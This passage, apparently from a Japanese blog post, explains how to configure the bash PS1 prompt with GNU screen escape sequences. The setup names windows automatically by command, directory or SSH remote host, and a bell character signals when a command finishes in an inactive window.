PS1='\u@\h:\w\[\033k\033\134\]\$ '

\033k\033\134の部分がscreenで空のタイトル文字列を設定するシーケンスになっており、screenはこれをシグナルとしてプロンプト文字列の終端とコマンド名を判別する。 また、\[...\]は囲まれた文字列を表示上の文字数としてカウントしないことを意味する。

標準でカレントディレクトリのディレクトリ名を使う

上の方法である程度自動変更できるが、普段のウィンドウタイトルがすべてbash等の固定文字列となるため、いまいち区別が付けづらい。 そこで、デフォルト文字列をディレクトリ名に変えることを考える。 これを行うには、空のタイトル文字列を設定した直後に適当なタイトル文字列で上書きすればよい。

PS1='\u@\h:\w\[\033k\033\134\033k\W\033\134\]\$ '

\Wはカレントディレクトリのディレクトリ名を表す。

SSHしているウィンドウのタイトルをリモートホスト名にする

さらに、リモートサーバにSSHログインしているウィンドウのタイトルをそのホストのホスト名に変えることを考える。 これを行うには、環境変数STYの有無で分岐させればよい。

case "$TERM" in
     screen*)
         if [[ -z "$STY" ]]; then
             # if the shell is on the remote server, display hostname
             __set_screen_title='\[\033k[\h]\033\134\]'
         else
             # otherwise, display command name or directory name
             __set_screen_title='\[\033k\033\134\033k\W\033\134\]'
         fi
         ;;
esac

PS1="\u@\h:\w\${__set_screen_title}\\$ "

こうすることで、(自分のbashrcが使える)リモートサーバにログインしているウィンドウのタイトルを[hostname]のように変えることができる。

非アクティブウィンドウでコマンドが終了したときに通知する

非アクティブウィンドウで時間のかかるコマンドを実行している際、終了時にそれを通知させることを考える。 これを行うには、プロンプト文字列にベル文字を含めればよい。

PS1="\[\a\]\u@\h:\w\${__set_screen_title}\\$ "

このようにすることで、コマンド終了時にそのウィンドウのタイトルをハイライト表示させることができる。

完成図

すべて設定すると、次の図のようになる。

f:id:inaz2:20170114001215p:plain

0はSSH中のリモートサーバ、1はtopコマンド実行中、2はコマンド終了直後のホームディレクトリ、3は/tmpディレクトリである。